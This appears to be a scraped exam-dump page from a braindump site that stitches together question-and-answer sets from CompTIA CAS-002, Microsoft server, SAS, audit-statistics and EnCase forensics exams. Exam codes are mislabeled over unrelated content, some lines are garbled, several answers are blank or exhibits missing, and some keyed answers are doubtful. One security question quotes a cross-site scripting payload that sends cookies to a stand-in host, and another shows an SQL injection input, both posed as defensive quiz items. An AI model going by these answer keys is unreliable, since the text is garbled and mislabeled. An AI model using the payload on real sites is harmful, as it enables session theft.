Correct Answer: D
Explanation

QUESTION 23
A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral
devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO).
A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit.
B. A DLP gateway should be installed at the company border.
C. Strong authentication should be implemented via external biometric devices.
D. Full-tunnel VPN should be required for all network communication.
E. Full-drive file hashing should be implemented with hashes stored on separate storage.
F. Split-tunnel VPN should be enforced when transferring sensitive data.
Correct Answer: BD
Explanation

QUESTION 24
An organization would like to allow employees to use their network username and password to access a third-party service. The company is using Active Directory Federated Services for their directory service. Which of the following should
the company ensure is supported by the third-party? (Select TWO).
A. LDAP/S
B. SAML
C. NTLM
D. OAUTH
E. Kerberos
Correct Answer: BE
Explanation

QUESTION 25
A mature organization with legacy information systems has incorporated numerous new processes and dependencies to manage security as its networks and infrastructure are modernized. The Chief Information Office has become
increasingly frustrated with frequent releases, stating that the organization needs everything to work completely, and the vendor should already have those desires built into the software product. The vendor has been in constant
communication with personnel and groups within the organization to understand its business process and capture new software requirements from users. Which of the following methods of software development is this organization’s
configuration management process using?
A. Agile
B. SDL
C. Waterfall
D. Joint application development
Correct Answer: A
Explanation

QUESTION 26
Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The browser crashes due
to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?
A. Integer overflow
B. Click-jacking
C. Race condition
D. SQL injection
E. Use after free
F. Input validation
Correct Answer: E
Explanation

QUESTION 27
A forensic analyst works for an e-discovery firm where several gigabytes of data are processed daily. While the business is lucrative, they do not have the resources or the scalability to adequately serve their clients. Since it is an e-discovery
firm where chain of custody is important, which of the following scenarios should they consider?
A. Offload some data processing to a public cloud
B. Aligning their client intake with the resources available
C. Using a community cloud with adequate controls
D. Outsourcing the service to a third party cloud provider
Correct Answer: C
Explanation

QUESTION 28
select id, firstname, lastname from authors
User input= firstname= Hack;man
lastname=Johnson
Which of the following types of attacks is the user attempting?
A. XML injection
B. Command injection
C. Cross-site scripting
D. SQL injection
Correct Answer: D
Explanation

QUESTION 29
A network administrator with a company’s NSP has received a CERT alert for targeted adversarial behavior at the company. In addition to the company’s physical security, which of the following can the network administrator use to detect the
presence of a malicious actor physically accessing the company’s network or information systems from within? (Select TWO).
A. RAS
B. Vulnerability scanner
C. HTTP intercept
D. HIDS
E. Port scanner
F. Protocol analyzer
Correct Answer: DF
Explanation

QUESTION 30
A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is
resulting in an above average number of security-related bugs making it into production. Which of the following development methodologies is the team MOST likely using now?
A. Agile
B. Waterfall
C. Scrum
D. Spiral
Correct Answer: B
Explanation

QUESTION 31
Which of the following BEST constitutes the basis for protecting VMs from attacks from other VMs hosted on the same physical platform?
A. Aggressive patch management on the host and guest OSs.
B. Host based IDS sensors on all guest OSs.
C. Different antivirus solutions between the host and guest OSs.
D. Unique Network Interface Card (NIC) assignment per guest OS.
Correct Answer: A
Explanation

QUESTION 32
The Chief Executive Officer (CEO) of a company that allows telecommuting has challenged the Chief Security Officer’s (CSO) request to harden the corporate network’s perimeter. The CEO argues that the company cannot protect its
employees at home, so the risk at work is no different. Which of the following BEST explains why this company should proceed with protecting its corporate network boundary?
A. The corporate network is the only network that is audited by regulators and customers.
B. The aggregation of employees on a corporate network makes it a more valuable target for attackers.
C. Home networks are unknown to attackers and less likely to be targeted directly.
D. Employees are more likely to be using personal computers for general web browsing when they are at home.
Correct Answer: B
Explanation

QUESTION 33
An organization is selecting a SaaS provider to replace its legacy, in house Customer Resource Management (CRM) application. Which of the following ensures the organization mitigates the risk of managing separate user credentials?
A. Ensure the SaaS provider supports dual factor authentication.
B. Ensure the SaaS provider supports encrypted password transmission and storage.
C. Ensure the SaaS provider supports secure hash file exchange.
D. Ensure the SaaS provider supports role-based access control.
E. Ensure the SaaS provider supports directory services federation.
Correct Answer: E
Explanation

QUESTION 34
A security manager has received the following email from the Chief Financial Officer (CFO):
“While I am concerned about the security of the proprietary financial data in our ERP application, we have had a lot of turnover in the accounting group and I am having a difficult time meeting our monthly performance targets. As things
currently stand, we do not allow employees to work from home but this is something I am willing to allow so we can get back on track. What should we do first to securely enable this capability for my group?”
Based on the information provided, which of the following would be the MOST appropriate response to the CFO?
A. Remote access to the ERP tool introduces additional security vulnerabilities and should not be allowed.
B. Allow VNC access to corporate desktops from personal computers for the users working from home.
C. Allow terminal services access from personal computers after the CFO provides a list of the users working from home.
D. Work with the executive management team to revise policies before allowing any remote access.
Correct Answer: D
Explanation

QUESTION 35
A security administrator notices the following line in a server’s security log:
<input name=’credentials’ type=’TEXT’ value='” + request.getParameter(‘><script>document.location=’http://badsite.com/?q=’document.cooki e</script>’) + “‘;
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server.
Which of the following should the security administrator implement to prevent this particular attack?
A. WAF
B. Input validation
C. SIEM
D. Sandboxing
E. DAM
Correct Answer: A
Explanation
Explanation/Reference:

QUESTION 36
An insurance company is looking to purchase a smaller company in another country. Which of the following tasks would the security administrator perform as part of the security due diligence?
A. Review switch and router configurations
B. Review the security policies and standards
C. Perform a network penetration test
D. Review the firewall rule set and IPS logs
Correct Answer: B
Explanation

QUESTION 37
An intruder was recently discovered inside the data center, a highly sensitive area. To gain access, the intruder circumvented numerous layers of physical and electronic security measures. Company leadership has asked for a thorough
review of physical security controls to prevent this from happening again. Which of the following departments are the MOST heavily invested in rectifying the problem? (Select THREE).
A. Facilities management
B. Human resources
C. Research and development
D. Programming
E. Data center operations
F. Marketing
G. Information technology
Correct Answer: AEG
Explanation

QUESTION 38
A company is in the process of outsourcing its customer relationship management system to a cloud provider. It will host the entire organization’s customer database. The database will be accessed by both the company’s users and its
customers. The procurement department has asked what security activities must be performed for the deal to proceed. Which of the following are the MOST appropriate security activities to be performed as part of due diligence? (Select
TWO).
A. Physical penetration test of the datacenter to ensure there are appropriate controls.
B. Penetration testing of the solution to ensure that the customer data is well protected.
C. Security clauses are implemented into the contract such as the right to audit.
D. Review of the organizations security policies, procedures and relevant hosting certifications.
E. Code review of the solution to ensure that there are no back doors located in the software.
Correct Answer: CD
Explanation

QUESTION 39
Which of the following activities is commonly deemed “OUT OF SCOPE” when undertaking a penetration test?
A. Attempting to perform blind SQL injection and reflected cross-site scripting attacks
B. Undertaking network-based denial of service attacks in production environment
C. Test password complexity of all login fields and input validation of form fields
D. Reverse engineering any thick client software that has been provided for the test
Correct Answer: B
Explanation
Explanation/Reference:

QUESTION 40
A new web based application has been developed and deployed in production. A security engineer decides to use an HTTP interceptor for testing the application. Which of the following problems would MOST likely be uncovered by this tool?
A. The tool could show that input validation was only enabled on the client side
B. The tool could enumerate backend SQL database table and column names
C. The tool could force HTTP methods such as DELETE that the server has denied
D. The tool could fuzz the application to determine where memory leaks occur
Correct Answer: A
Explanation

QUESTION 41
During a recent audit of servers, a company discovered that a network administrator, who required remote access, had deployed an unauthorized remote access application that communicated over common ports already allowed through the
firewall. A network scan showed that this remote access application had already been installed on one third of the servers in the company. Which of the following is the MOST appropriate action that the company should take to provide a more
appropriate solution?
A. Implement an IPS to block the application on the network
B. Implement the remote application out to the rest of the servers
C. Implement SSL VPN with SAML standards for federation
D. Implement an ACL on the firewall with NAT for remote access
Correct Answer: C
Explanation

QUESTION 42
Which of the following is the BEST place to contractually document security priorities, responsibilities, guarantees, and warranties when dealing with outsourcing providers?
A. SLA
B. MOU
C. OLA
D. NDA
Correct Answer: A
Explanation
Explanation/Reference:

QUESTION 43
Using SSL, an administrator wishes to secure public facing server farms in three subdomains: dc1.east.company.com, dc2.central.company.com, and dc3.west.company.com. Which of the following is the number of wildcard SSL certificates
that should be purchased?
A. 1
B. 2
C. 3
D. 6Correct Answer: C
Explanation
Explanation/Reference:

QUESTION 44
The helpdesk department desires to roll out a remote support application for internal use on all company computers. This tool should allow remote desktop sharing, system log gathering, chat, hardware logging, inventory management, and
remote registry access. The risk management team has been asked to review vendor responses to the RFQ. Which of the following questions is the MOST important?
A. What are the protections against MITM?
B. What accountability is built into the remote support application?
C. What encryption standards are used in tracking database?
D. What snapshot or “undo” features are present in the application?
E. What encryption standards are used in remote desktop and file transfer functionality?
Correct Answer: B
Explanation

QUESTION 45
The Chief Executive Officer (CEO) has asked the IT administrator to protect the externally facing web server from SQL injection attacks and ensure the backend database server is monitored for unusual behavior while enforcing rules to
terminate unusual behavior. Which of the following would BEST meet the CEO’s requirements?
A. WAF and DAM
B. UTM and NIDS
C. DAM and SIEM
D. UTM and HSM
E. WAF and SIEM
Correct Answer: A
Explanation

QUESTION 46
A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).
A. Demonstration of IPS system
B. Review vendor selection process
C. Calculate the ALE for the event
D. Discussion of event timeline
E. Assigning of follow up items
Correct Answer: DE
Explanation

QUESTION 47
The helpdesk manager wants to find a solution that will enable the helpdesk staff to better serve company employees who call with computer-related problems. The helpdesk staff is currently unable to perform effective troubleshooting and
relies on callers to describe their technology problems. Given that the helpdesk staff is located within the company headquarters and 90% of the callers are telecommuters, which of the following tools should the helpdesk manager use to
make the staff more effective at troubleshooting while at the same time reducing company costs? (Select TWO).
A. Web cameras
B. Email
C. Instant messaging
D. BYOD
E. Desktop sharing
F. Presence
Correct Answer: CE
Explanation

QUESTION 48
A company has decided to move to an agile software development methodology. The company gives all of its developers security training. After a year of agile, a management review finds that the number of items on a vulnerability scan has
actually increased since the methodology change. Which of the following best practices has MOST likely been overlooked in the agile implementation?
A. Penetration tests should be performed after each sprint.
B. A security engineer should be paired with a developer during each cycle.
C. The security requirements should be introduced during the implementation phase.
D. The security requirements definition phase should be added to each sprint.
Correct Answer: D
Explanation

QUESTION 49
CORRECT TEXT
pass4itsure CAS-002 question
Correct Answer: 192.18.1.0/24 any 192.168.20.0/24 3389 any
Explanation
Explanation/Reference:

QUESTION 50
CORRECT TEXT
An administrator wants to install a patch to an application. Given the scenario, download, verify and install the patch in the most secure manner. Instructions The last install that is completed will be the final submission
pass4itsure CAS-002 question
Correct Answer: You need to check the hash value of download software with md5 utility.
Explanation
Explanation/Reference

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Exam Code: 70-414
Exam Name: Implementing an Advanced Server Infrastructure
Updated: Sep 17, 2017
Q&As: 243

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Following Microsoft 70-414 Dumps 243QAs Are All New Published By Pass4itsure:

QUESTION 1
You need to recommend a solution that meets the technical requirements for DHCP.
What should you include in the recommendation for each office?
A. DHCP failover
B. Network Load Balancing (NLB)
C. DHCP server policies
D. IP Address Management (IPAM)
70-414 exam Correct Answer: A
QUESTION 2
You need to recommend a solution for updating the virtualization hosts. The solution must meet the
visualization requirements.
What should you include in the recommendation?
A. Cluster-Aware Updating
B. WSUS
C. System Center Updates Publisher 2011
D. System Center 2012 Configuration Manager
Correct Answer: A
QUESTION 3
You need to ensure that the developers can manage their own virtual machines.
Solution: You perform the following 70-414 dumps tasks:
In Virtual Machine Manager, you create a new user role named DevUsers that uses
the Application Administrator profile.
You add the virtual machines to the DevUsers role.
You grant Checkpoint permissions to the DevUsers role.
You install and configure App Controller.
You distribute the App Controller console URL to the developers.
Does this meet the goal?
A. Yes
B. No
Correct Answer: A
QUESTION 4
HOTSPOT
You plan to configure Windows Network Load Balancing (NLB) for a company. You
display following Network Load Balancing Manager window:
 70-414 dumps
Use the drop-down menus to select the answer choice that answers each question
based on the information presented in the graphic.
Hot Area:
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Correct Answer:
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QUESTION 5
DRAG DROP
You need to implement VM-SQLclusterl.contoso.com.
Which three actions should you perform in sequence? To answer, move the appropriate
70-414 pdf actions from the list of actions to the answer area and arrange them in the correct order.
Select and Place:
 70-414 dumps

QUESTION 6
You need to automatically restart the appropriate web service on DETCRL01 and
CHICRL01 if the web service is stopped. Solution: You create a diagnostic task in SCOM and configure it to start the Server service. Does this meet the goal?
A. Yes
B. No
Correct Answer: B
QUESTION 7
Your network contains an Active Directory domain named contoso.com.
You currently have an intranet web site that is hosted by two Web servers named Web1
and Web2. Web1 and Web2 run Windows Server 2012. Users use the name intranet.contoso.com to request the web site and use DNS round robin.
You plan to implement the Network Load Balancing (NLB) feature on Web1 and Web2.
You need to recommend changes to the DNS records for the planned implementation.
What should you recommend?
A. Delete one of the host (A) records named Intranet. Modify the remaining host (A)
record named Intranet.
B. Delete both host (A) records named Intranet. Create a pointer (PTR) record for each
Web server.
C. Create a new host (A) record named Intranet. Remove both host (A) records for Web1
and Web2.
D. Create a service locator (SRV) record. Map the SRV record to Intranet.
70-414 vce Correct Answer: A
QUESTION 8
You need to recommend changes to the existing environment to meet the PII requirement.
What should you recommend?
A. In the Default Domain Policy, configure auto-enrollment for the S/MIME certificates from ProsewareCA.
B. Create an AD RMS cluster in Proseware, and then provision the user accounts in Proseware for the
Fabrikam users.
C. Configure Active Directory Federation Services (AD FS) in Fabrikam, and then install a web application
proxy in Proseware.
D. In the Default Domain Policy, configure auto-enrollment for the S/MIME certificates from FabrikamCA.
Correct Answer: B
QUESTION 9
You need to recommend a network 70-414 exam configuration for the newly deployed Hyper-V hosts used by Customer1. On which network adapter should you recommend performing each configuration? To answer, select the appropriate network adapter for each configuration in the answer area.
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QUESTION 10
You need to recommend a solution to maintain a copy of App2. The solution must meet the application requirements and must minimize additional hardware purchases. What should you include in the recommendation?
A. Single-site Failover Clustering
B. Hyper-V replicas
C. Multi-site Failover Clustering
D. Distributed File System (DFS) Replication
Correct Answer: B
QUESTION 11
You need to recommend which type of clustered file server and which type of file share must be used in the Hyper-V cluster that hosts App2. The solution must meet the technical requirements and the 70-414 dumps security requirements.
What should you recommend?
A. A scale-out file server that uses an NFS share
B. A file server that uses an SMB share
C. A scale-out file server that uses an SMB share
D. A file server that uses an NFS share
Correct Answer: C
QUESTION 12
You install the Service Manager Self-Service Portal on a server named CONTOSOSSP1.
Users report that they receive access denied messages when they try to connect to the portal. You must grant users the minimum required permissions. You need to ensure that all users in the Contoso domain can access the Service Manager Self-Service Portal.
What should you do?

A. In Active Directory, create a new group named PortalUsers. Add the PortalUsers group to the Contoso \Domain Users group, and then add the group to the local users group on CONTOSOSSP1.
B. Using the account that you used to install the Self-Service portal, grant the Contoso\Domain Users group Read permissions to the portal.
C. In Service Manager, create a new user role named PortalUsers. Grant the PortalUsers role rights to all catalog items, and then add the Contoso\Domain Users Active Directory Domain Services group to the
PortalUsers role.
D. Using the account that you used to install the Self-Serviceportal, grant the Contoso\Domain Users group Contribute permissions to the portal.
70-414 pdf Correct Answer: D

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QUESTION 86
An audit manager has just returned from an executive training program and has suggested that the audit department develop a mathematical model to help identify factors that may be causing changes in the cost of production. According to the manager, the model should recognize that the company currently has three separate production (cost) centers. Which of the following approaches would best provide the analysis suggested by the audit manager?
A. Develop a classical variables sampling estimate of cost of production per department, with the sample stratified by the dollar value of each product produced.
B. Develop a 3-year ratio analysis of the cost of production compared to the cost of raw inventory across the three departments.
C. Develop a multiple regression analysis of production costs, including such variables as raw material inventory costs, number of employees in the department, and overtime pay.
D. Develop a linear regression analysis relating the cost of production to the cost of goods sold.
70-761 exam Correct Answer: C
Explanation
Explanation/Reference:
Explanation:
Regression analysis extends correlation to find an equation for the linear relationship among variables. The behavior of a dependent variable, such as cost of production, is explained in terms of one or more independent variables (for example, raw material costs, employees, overtime). Thus, multiple regression analysis determines functional relationships among quantitative variables.
QUESTION 87
A bank has two drive-in lanes to serve customers: The technique used in analyzing the problem is best described as:
A. Simulation theory.
B. Integrated autoregressive-moving average (ARIMA) modeling.
C. Linear programming.
D. Differential calculus.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Answer (A) is correct. Simulation is a technique for experimenting with logical/mathematical models using a computer. Despite the power of mathematics, many
problems cannot be solved by known analytical methods because of the behavior of the variables and the complexity of their interactions. However, the performance of a quantitative model under uncertainty may be investigated by randomly selecting values for each of the variables in the model (based on the probability distribution of each variable) and then calculating the value of the solution. If this process is performed a large number of times, the distribution of results from the model will be obtained.
QUESTION 88
A bank has two drive-in lanes to serve customers:
The process of making sure that the model measures what it is supposed to measure is called:
A. Statistical inference.
B. Hypothesis testing.
C. Confidence coefficient analysis.
D. Validation.
70-761 dumps Correct Answer: D
Explanation
Explanation/Reference:
Explanation:
Validation is a step in the simulation procedure. Some assurance is needed that the results of the experiment will be realistic. This assurance requires validation of the model –often using historical data. If the model gives results equivalent to what actually happened, the model is historically valid. There is still some risk, however, that changes could make the model invalid for the future.
QUESTION 89
The marketing department of a company is deciding on the price to charge for a key product. In setting this price, marketing needs to consider the price that a major competitor will charge for a similar product because the competitor’s price will affect the demand for the company’s product. Similarly, in setting its price, the competitor will consider what the company will charge. What is an appropriate mathematical technique for analyzing such a decision?
A. Game theory.
B. Probability theory.
C. Linear programming.
D. Sensitivity analysis.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Game (or decision) theory is a mathematical approach to decision making when confronted with an enemy or competitor. Games are classified according to the number of players and the algebraic sum of the payoffs. In a two-person game, if the payoff is given by the loser to the winner, the algebraic sum is zero and the game is called a zero-sum game. If it is possible for both players to profit, however, the game is a positive-sum game. Mathematical models have been developed to select optimal strategies for certain simple games.
QUESTION 90
Because of the large number of factors that could affect the demand for its new product, interactions among these factors, and the probabilities associated with different values of these factors, the marketing department would like to develop a computerized model for projecting demand for this product. By using a random number procedure to generate values for the different factors .it will be able to estimate the distribution of demand for this new product. This method of estimating the distribution of demand for the new product is called:
A. Monte Carlo simulation.
B. Linear programming.
C. Correlation analysis.
D. Differential analysis.
70-761 pdf Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Simulations that use a random-number procedure to generate values for the inputs areMonte Carlo simulations.
QUESTION 91
A large fishing operation has information on the interval, time, and probabilities of shrimp schools staying beneath their fishing boats. In order to use this information to predict when and where to send their boats, which of the following techniques should be used?
A. Simulation.
B. Least squares.

C. Queuing theory.
D. Exponential smoothing.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Simulation is a technique for experimenting with logical and mathematical models using a computer. Because of the behavior of the many variables involved and the complexity of their interactions, many problems cannot be solved using simple algebraic formulas. The availability of computer spreadsheets makes the construction of simulation models a practical alternative for all entities.
QUESTION 92
A cost-volume-profit model developed in a dynamic environment determined that the estimated parameters used may vary between limits. Subsequent testing of
the model with respect to all possible values of the estimated parameters is termed:
A. A sensitivity analysis.
B. Statistical estimation.
C. Statistical hypothesis testing.
D. A time-series study.
70-761 vce Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
After a problem has been formulated into any mathematical model, it may be subjected to sensitivity analysis. Sensitivity analysis examines how the model’s
outcomes change as the parameters change.
QUESTION 93
A company is deciding whether to purchase an automated machine to manufacture one of its products. Expected net cash flows from this decision depend on several factors, interactions among those factors, and the probabilities associated with different levels of those factors. The method that the company should use to evaluate the distribution of net cash flows from this decision and changes in net cash flows resulting from changes in levels of various factors is:
A. Simulation and sensitivity analysis.
B. Linear programming.
C. Correlation analysis.
D. Differential analysis.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Simulation is a technique for experimenting with logical and mathematical models using a computer. Sensitivity analysis examines how the model’s outcomes change as the parameters change.

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Exam Code: 70-410
Exam Name: Installing and Configuring Windows Server 2012
Updated: Sep 06, 2017
Q&As: 503

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QUESTION 25
You have a Hyper-V host named Server1. Server1 hosts a virtual machine named VM1. You view the properties of VM1 as shown in the following exhibit. (Click the Exhibit button.)

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You need to configure bandwidth management for VM1. Which three actions should you perform in sequence? (To answer, move the appropriate three actions from the list of actions to the answer area and arrange them in the correct order.)
Select and Place:

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70-410 exam Correct Answer:

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QUESTION 26
Your network contains an Active Directory domain named contoso.com. The domain contains a member server named Server1. Server1 runs 70-410 dumps Windows Server 2012 R2 and has the DHCP Server server role installed. You create two IPv4 scopes on Server1. The scopes are configured as shown in the following table.

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The DHCP clients in Subnet_Tor can connect to the client computers in Subnet_Mtl by using an IP address or a FQDN. You discover that the DHCP clients in Subnet_Mtl can connect to client computers in Subnet_Tor by using an IP address only. You need to ensure that the DHCP clients in both subnets can connect to any other DHCP client by using a FQDN.
What should you add?
A. The 015 DNS Domain Name option to Subnet_Mtl
B. The 015 DNS Domain Name option to Subnet_Tor
C. The 006 DNS Servers option to Subnet_Mtl
D. The 006 DNS Servers option to Subnet_Tor
Correct Answer: C
QUESTION 27
Your network contains an Active Directory domain named contoso.com. The domain contains a server
named Server1. The domain contains a standalone server named Server2 that is located in a perimeter
network. Both servers run Windows Server 2012 R2.
You need to manage Server2 remotely from Server1.
What should you do?
A. From Server2, run the Enable-PsRemoting cmdlet.
B. From Server1, run the winrni command.
C. From Server2, run the winrm command.
D. From Server1, run the Enable-PsRemoting cmdlet.
Correct Answer: A
QUESTION 28
A printer named Printer1 is configured as shown in the exhibit. (Click the Exhibit button.) 70-410 dumps

To answer, complete each statement according to the information presented in the exhibit. Each correct selection is worth one point.

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Question: 12
Given the following SAS statement:
%let idcode = Prod567;
Which one of the following statements stores the value 567 in the macro variable CODENUM?
A. %let codenum = substr(&idcode,length(&idcode)-2);
B. %let codenum = substr(&idcode,length(&idcode)-3);
C. %let codenum = %substr(&idcode,%length(&idcode)-2);
D. %let codenum = %substr(&idcode,%length(&idcode)-3);
Answer: C
Question: 13
The following SAS program is submitted:
data new (bufsize = 6144 bufno = 4);
set old;
run;
Which one of the following describes the difference between the usage of BUFSIZE= and
BUFNO= options?

A. BUFSIZE= specifies the size of the input buffer in bytes; BUFNO= specifies the number of
input buffers.
B. BUFSIZE= specifies the size of the output buffer in bytes; BUFNO= specifies the number of
output buffers.
C. BUFSIZE= specifies the size of the output buffer in kilobytes; BUFNO= specifies the number
of input buffers.
D. BUFSIZE= specifies the size of the output buffer in kilobytes; BUFNO= specifies the number
of output buffers.
70-410 vce Answer: B
Question: 14
Consider the following SAS log:
229 data sasuser.ranch sasuser.condo / view = sasuser.ranch;
230 set sasuser.houses;
231 if style = ‘RANCH’ then output sasuser.ranch;
232 else if style = ‘CONDO’ then output sasuser.condo;
233 run;
NOTE: DATA STEP view saved on file SASUSER.RANCH.
NOTE: A stored DATA STEP view cannot run under a different operating system.
234
235 proc print data = sasuser.condo;
ERROR: File SASUSER.CONDO.DATA does not exist.
236 run;
NOTE: The SAS System stopped processing this step because of errors.
Which one of the following explains why the PRINT procedure fails?
A. SASUSER.CONDO is a stored DATA step program.
B. A SAS data file and SAS data view cannot be created in the same DATA step.
C. A second VIEW=SASUSER.CONDO option was omitted on the DATA statement.
D. The view SASUSER.RANCH must be processed before SASUSER.CONDO is created.
Answer: D
Question: 15
Which one of the following is an advantage of creating and using a SAS DATA step view?
A. It can store an index.
B. It always accesses the most current data.
C. It works quickly through multiple passes of the data.
D. It is useful when the underlying data file structure changes.
70-410 exam Answer: B
Question: 16
Given the following SAS data sets ONE and TWO:
ONE TWO
YEAR QTR BUDGET YEAR QTR SALES
—————————— —————————-
2001 3 500 2001 4 300

2001 4 400 2002 1 600
2002 1 700
The following SAS program is submitted:
proc sql;
select one.*, sales
from one, two;
quit;
Which one of the following reports is generated?
A. YEAR QTR BUDGET SALES
——————————————
2001 4 400 300
2002 1 700 600
B. YEAR QTR BUDGET SALES
———————————————
2001 3 500 .
2001 4 400 300
2002 1 700 600
C. YEAR QTR BUDGET SALES
—————————————–
2001 3 500 300
2001 4 400 300
2002 1 700 600
D. YEAR QTR BUDGET SALES
——————————————
2001 3 500 300
2001 4 400 300
2002 1 700 300
2001 3 500 600
2001 4 400 600
2002 1 700 600
Answer: D
Question: 17
Given the following SAS data set ONE:
ONE
NUM VAR
——————
1 A
2 B
3 C
Which one of the following SQL programs deletes the SAS data set ONE?
A. proc sql;
delete table one;
quit;
B. proc sql;
alter table one
drop num, var;
quit;

C. proc sql;
drop table one;
quit;
D. proc sql;
delete from one;
quit;
Answer: C
Question: 18
Given the following SAS data sets ONE and TWO:
ONE TWO
YEAR QTR BUDGET YEAR QTR SALES
——————————- ———————————
2001 3 500 2001 4 300
2001 4 400 2002 1 600
2002 1 700
The following SAS program is submitted:
proc sql;
select one.*, sales
from one, two
where one.year = two.year;
quit;
Which one of the following reports is generated?
A. YEAR QTR BUDGET SALES
———————————————————
2001 4 400 300
2002 1 700 600
B. YEAR QTR BUDGET SALES
———————————————————-
2001 3 500 .
2001 4 400 300
2002 1 700 600
C. YEAR QTR BUDGET SALES
————————————————————
2001 3 500 300
2001 4 400 300
2002 1 700 600
D. YEAR QTR BUDGET SALES
————————————————————
2001 3 500 300
2001 4 400 300
2002 1 700 300
2001 3 500 600
2001 4 400 600
2002 1 700 600
70-410 dumps Answer: C
Question: 19
The SAS data set TEMP has the following distribution of values for variable A:
A Frequency
1 500,000
2 500,000
6 7,000,000
8 3,000
Which one of the following SAS programs requires the least CPU time to be processed?
A. data new;
set temp;
if a = 8 then
b = ‘Small ‘;
else if a in(1, 2) then
b = ‘Medium’;
else if a = 6 then
b = ‘Large’;
run;
B. data new;
set temp;
if a in (1, 2) then
b = ‘Medium’;
else if a = 8 then
b = ‘Small’;
else if a = 6 then
b = ‘Large’;
run;
C. data new;
set temp;
if a = 6 then
b = ‘Large ‘;
else if a in (1, 2) then
b = ‘Medium’;
else if a = 8 then
b = ‘Small’;
D. data new;
set temp;
if a = 6 then
b = ‘Large ‘;
if a in (1, 2) then
b = ‘Small’;
run;
Answer: C
Question: 20
The following SAS program is submitted:
%let value = 9;
%let value2 = 5;
%let newval = %eval(&value / &value2);
Which one of the following is the resulting value of the macro variable NEWVAL?
A. 1
B. 2

C. 1.8
D. null
Answer: A
Question: 21
The following SAS program is submitted:
%let lib = %upcase(sasuser);
proc sql;
select nvar
from dictionary.tables
where libname = “&lib”;
quit;
Given that several SAS data sets exist in the SASUSER library, which one of the following is
generated as output?
A. no result set
B. a syntax error in the log
C. a report showing the names of each table in SASUSER
D. a report showing the number of columns in each table in SASUSER
70-410 pdf Answer: D
Question: 22
Given the following SAS data set ONE:
ONE
GROUP SUM
————————-
A 765
B 123
C 564
The following SAS program is submitted:
data _null_;
set one;
call symput(group,sum);
run;
Which one of the following is the result when the program finishes execution?
A. Macro variable C has a value of 564.
B. Macro variable C has a value of 1452.
C. Macro variable GROUP has a value of 564.
D. Macro variable GROUP has a value of 1452.
Answer: A
Question: 23
The SAS data set ONE consists of five million observations and has 25 variables. Which one of
the following SAS programs successfully creates three new variables TOTREV, TOTCOST, and
PROFIT and requires the least CPU time to be processed?
A. data two;
set one;

totrev = sum(price * quantity);
totcost = sum(fixed,variable);
profit = sum(totrev,otcost);
if totrev > 1000;
run;
B. data two;
set one;
totrev = sum(price * quantity);
if totrev > 1000;
totcost = sum(fixed,variable);
profit = sum(totrev,otcost);
run;
C. data two;
set one;
totrev = sum(price * quantity);
where totrev > 1000;
totcost = sum(fixed,variable);
profit = sum(totrev,otcost);
run;
D. data two;
set one;
where totrev > 1000;
totrev = sum(price * quantity);
totcost = sum(fixed,variable);
profit = sum(totrev,otcost);
run;
70-410 vce Answer: B

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Exam Code: 70-765
Exam Name: Provisioning SQL Databases
Q&As: 105

 

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QUESTION 65
Select the appropriate name for the highlighted area of the binary numbers.
A. Word
B. Dword
C. Byte
D. Nibble
E. Bit
70-765 exam Correct Answer: B
Explanation
QUESTION 66
The EnCase methodology dictates that the lab drive for evidence have a __________ prior to making an image.
A. FAT 16 partition
B. NTFS partition
C. unique volume label
D. bare, unused partition
Correct Answer: C
Explanation
QUESTION 67
In hexadecimal notation, one byte is represented by _____ character(s).
A. 2
B. 1
C. 8
D. 4
70-765 dumps Correct Answer: A
Explanation
QUESTION 68
A personal data assistant was placed in a evidence locker until an examiner has time to examine it. Which of the following areas would require special attention?
A. Chain-of-custody
B. Storage
C. There is no concern
D. Cross-contamination
Correct Answer: B
Explanation
QUESTION 69
When a non-compressed evidence file is reacquired with compression, the acquisition and verification hash values for the evidence will remain the same for both files.
A. True
B. False
70-765 pdf Correct Answer:
Explanation
QUESTION 70
To generate an MD5 hash value for a file, EnCase:
A. Computes the hash value including the logical file and filename.
B. Computes the hash value including the physical file and filename.
C. Computes the hash value based on the logical file.
D. Computes the hash value based on the physical file.
Correct Answer: C
Explanation
QUESTION 71
Which of the following is found in the FileSignatures.ini configuration file
A. The results of a hash analysis
B. The information contained in the signature table
C. The results of a signature analysis
D. Pointers to an evidence file
70-765 vce Correct Answer: B
Explanation
QUESTION 72
During the power-up sequence, which of the following happens first?
A. The boot sector is located on the hard drive.
B. Theower On Self-Test.? 7KH ? RZHU2Q6HOI7HVW
C. The floppy drive is checked for a diskette.
D. The BIOS on an add-in card is executed.
Correct Answer: B
Explanation
QUESTION 73
A restored floppy diskette will have the same hash value as the original diskette.
A. True
B. False
70-765 exam Correct Answer:
Explanation
QUESTION 74
A hard drive was imaged using EnCase. The original drive was placed into evidence. The restore feature was used to make a copy of the original hard drive. EnCase verifies the restored copy using:
A. An MD5 hash
B. A 32 bit CRC
C. Nothing. Restored volumes are not verified.
D. A running log
Correct Answer: A
Explanation
QUESTION 75
To later verify the contents of an evidence file 7RODWHUYHULI\WKHFRQWHQWVRIDQHYLGHQFHILOH
A. EnCase writes a CRC value for every 64 sectors copied.
B. EnCase writes a CRC value for every 128 sectors copied.
C. EnCase writes an MD5 hash value every 64 sectors copied.
D. EnCase writes an MD5 hash value for every 32 sectors copied.
70-765 dumps Correct Answer: A
Explanation
QUESTION 76
Assume that MyNote.txt has been deleted. The FAT file system directory entry for that file has been overwritten. The data for MyNote.txt is now:
A. Overwritten
B. Allocated
C. Cross-linked
D. Unallocated
Correct Answer: D
Explanation
QUESTION 77
When an EnCase user double-clicks on a valid .jpg file, that file is:
A. Copied to the default export folder and opened by an associated program.
